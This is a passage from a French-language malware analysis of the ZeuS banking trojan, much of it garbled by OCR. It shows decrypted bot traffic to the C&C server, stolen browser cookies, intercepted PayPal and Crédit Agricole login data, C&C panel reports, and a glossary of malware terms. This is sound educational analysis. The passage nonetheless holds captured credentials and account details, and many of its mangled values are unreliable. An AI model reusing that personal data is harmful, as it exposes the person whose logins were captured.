C....... T....,7.nf:

d.KG..%a..5. 0. [.0-9..92]|"...0...¥. . .E.on Wil innnns >'SB..10] M. FWE. ... orl.b..]....
R < d<]apee s e oAMTLKL L. 00 . E ... FE. L LW HTTRALLL 200 0K

Figure 28 Informations chiffrées envoyées au C&C
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Comme dit précédemment, ces informations ont été chiffrées avec I’algorithme RC4. Voici leur

contenu une fois déchiffrées.

rStream Content

Lhut Dpata envoy

...... . - &8 \W1ndows\system32\taskhost exe ..............WIN EQBDSBBARPM
W1n1net(Internet Explorer) cookies:

Fath: atdmt.com/
UID=FS9141E1C965%24 021 EDCBGEI3ZEESOCEFA

Path: banguepopulairez0l0. solution.weborama. fr/
| adpc=6w5SEwqgah

| adpp=6wSEwAZCaa

|_adpe=6wrMbaa

| advcrea=7r|bM|azh

Path: bing. coms
SRCHD=MS=1584 281 0&sM=1&D=184 2 81 0&AF =MNOFORM
SRCHUSR=AUTOREDIR=0&GECVAR=&DOE=20110703
UID=F9141E1C96924021EDCEGEIZEEBOCEFA

Path: boursoramabangue. solution. weborama. fr/
| adpc=-a7iuwac

| adpp=-a7iudwqaa

|_adpe=-a400qga

| advcrea=78|ej%la:b|h:b

Figure 29 Informations déchiffrées envoyées par le bot

Comme nous pouvons le constater, ces informations sont en fait toutes les captures réalisées par le
bot. Une fois envoyées au C&C, elles sont ensuite accessibles par I'interface d’administration.

I Bots action: IFuII inforrmation vI == I

0Z.07.Z2011

- ROOT-SAEBOID93E FEFS5F6EF40Z2BOD D0
--,192.168,.122,1258

Zookies of browsers

Zookies of browsers

Zookies of browsers

Zookies of browsers

Zookies of browsers

Zookies of browsers

http  ffwww. microsoft. comfisapifredindlizprd=iegpuer=&far=rmsnhome
https i fwww. pavpal. comyfsef/cagi-binfwebscrrocmd=_login-submit@dispatch=5885dS80al1 3codbilfseze 366 3d3facsasd...
http  ffwww. microsoft. comfisapifredindlizprd=iegpuer=&far=rmsnhome
hitp  ffwww, miicrosoft, com.l"lsapl.l"redlrd||7prd—|e&puer—6&ar—msnhome
http s ffwww. cr21 7 -comete-g2-enligne. credit-agricole. frf stbf entresB am
http s/ fwww. cr21 7 -comete-g2-enligne. credit-agricole. frf stbf entresB am
http s ffwww. google. cormyaccountsy/ ServiceLaginAuth

ttttttttttttt

Yierr report [Cookies of browsers, 1 408 bytes])

Bot IC: WINM-FOID5SBBARPM_FF3AGSEDA0GCEEBSD
Botnet: -- default --

Werzion: 2.0.2.9

2S5 Yersion: Seven

D5 Language: 10=2&

Local timme: 03,07, 2011 19:44:54
GRT +2:00

Session time; O0:49:05

Repart timme: 02,07, 2011 19:=22:05
Country: --

IPus: 192.1e2,.122.1232

Comment for bot: -
In the list of usad: Ma

Process narme: Civvwindowshsysternm32htaskhost. exe
Uszer of procaess: W IM-FQ2DSERARPML oot
Source; -

Wininet (Internet Explorer) cookies:

Path: atdmt.corms
MUID=F2141E1C9a6924021BDCS6ESSEESOCSF A

Fath: bhancguepopulairez0l0.=soclution. wehorama. £rs
_adpo=&cW5Ewgalk

_adpp=6WSEwki=z=Ca=a

_adpe=cW/Mbha=s

_advcrea=T7R|bH|a::b

Figure 30 Informations accessibles par le C&C
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L'une des qualités de ZeusS est qu’il est capable d’intercepter le trafic HTTPS et d’enregistrer les
informations de connexion. Dans la capture suivante, nous voyons |'exemple avec Paypal.

https://weww, paypal.con/se/cgi-bin/webscr 2ecnd=_login-submitsdispatch
Referer: https://www.paypal.con/se

User input: paypal.com-bertrandcedriccclfhotmail.froubrny6sS3vee

POST data:

login_email=bertr zec@hotmail. fr
login password=tu ce

Figure 31 Interception de comptes Paypal

Zeus est aussi capable d’intercepter les comptes bancaires. Afin d’étre protéger leurs clients contre
les logiciels de types « enregistreurs de frappes » (keyloggers’), les banques ont mis en place un
systéme de clavier virtuel. C'est le cas par exemple du crédit agricole.

Vos codes d'acceés

Saisissez votre N DE COMPTE a 'aide de votre clavier: 42097788991

Cliquez dans |a grille
pour composer votre CODE PERSOMMEL :

5 2 |:||:a chiffres)

Figure 32 Clavier virtuel - Crédit agricole

Cette protection permet d’éviter au client de taper son mot de passe et ainsi qu’un logiciel
I’enregistre. Néanmoins ZeusS parvient malgré tout a récupérer les identifiants en interceptant
directement le trafic.

hteps: //fvuw. cr8l7-comete~gZ-enligne.credit-agricole. fr/sth/entreeBam

Referer: https:/fwuw.cr8l7-comete-gZ-enligne.credit-agricole.fr/sth/entreeBam
Uzer input: ca-cmds.fr42027799078
POST data:

origine=svicrine
situationTravall=BANCAIRE
canal=WEE
typeiuthentification=CLIC RETOUR

CCRYC=12%2C0T52C0E252C11%2C1052C10

CCRYCZ=000000
CPTE=420277599078

Figure 33 Interception des communications bancaires

7 http://fr.wikipedia.org/wiki/Enregistreur_de_frappe

Cédric BERTRAND - http://lepouvoirclapratique.blogspot.com/



Tous ces rapports sont centralisés et accessibles via I'interface d’administration.

Total reports in databaze: 12
Tirne of first ackivity: 02.07,.2011 22:36:36
Total bots: 1
Total active bots in 24 hours: 100.00% - 1
Minirnal version of bot: 2.0.8.9
Maximal version of bat: 2.0.8.9

Figure 34 Rapports accessibles par le C&C

Maintenant que nous avons analysé le systéme de communication utilisé par le bot, il est temps
d’analyser le bot généré par Zeus, ce qui nous verrons dans une deuxiéme partie.
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Glossaire

Botnet

Un botnet est un ensemble de d’ordinateurs infectés qui sont reliés entre eux.

http://fr.wikipedia.org/wiki/Botnet

C&C (Canal de commande et controle)

Serveur permettant la centralisation des ordinateurs infectés (bot)

http://fr.wikipedia.org/wiki/Botnet#Via un canal de commande et contr.C3.B4le .28C.26C.29

Cheval de troie

Un cheval de Troie tente d’utiliser les droits appartenant a son environnement pour détourner,
diffuser ou détruire des informations, ou encore pour ouvrir une porte dérobée qui permet a un
attaquant de prendre, a distance, le controle de l'ordinateur.

http://fr.wikipedia.org/wiki/Cheval de Troie %28informatique%29

Ingénierie sociale

L'art de manipuler des personnes afin de contourner des dispositifs de sécurité. Il s'agit ainsi d'une
technique consistant a obtenir des informations de la part des utilisateurs par téléphone, courrier
électronique, courrier traditionnel ou contact direct.

http://fr.wikipedia.org/wiki/Ing%C3%A9nierie sociale %28s%C3%A9curit%C3%A9 de [%27informat
ion%29
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Keylogger

Logiciel espion qui enregistre les touches frappées sur le clavier d'un ordinateur sous certaines
conditions et les transmet via un réseau.

http://fr.wikipedia.org/wiki/Enregistreur de frappe

Pack d'exploits

Les kits d'Exploit sont des packs logiciels contenant des programmes malveillants principalement
utilisés pour réaliser des attaques de type « Drive-by download » afin de distribuer des malwares aux
internautes (a leur insu et alors qu’ils visitent simplement une page infectée).

http://www.viruslist.com/fr/viruses/analysis?pubid=200676241

Packer

Nous utilisons le terme packer pour désigner un logiciel de protection applicable a un programme
binaire et/ou un code source afin d’obscurcir sa forme finale et d’en ralentir I’analyse. Les packers
dits « classiques », du type AsProtect, PeCompact, etc. sont le plus souvent assez bien supportés par
les outils de sécurité, par exemple les anti-virus ou outils de classification automatique.

http://deamonftp.free.fr/deamoncrack/Tuts/Crisanar/cours6.htm

Rootkit

Un rootkit (le nom « outil de dissimulation d'activité » est également utilisé?), parfois simplement
« kit », est un ensemble de techniques mises en ceuvre par un ou plusieurs logiciels, dont le but est
d'obtenir et de pérenniser un accées (généralement non autorisé) a un ordinateur de la maniére la
plus furtive possible

http://fr.wikipedia.org/wiki/Rootkit

Spam

Courrier électronique non sollicité.

http://fr.wikipedia.org/wiki/Spam
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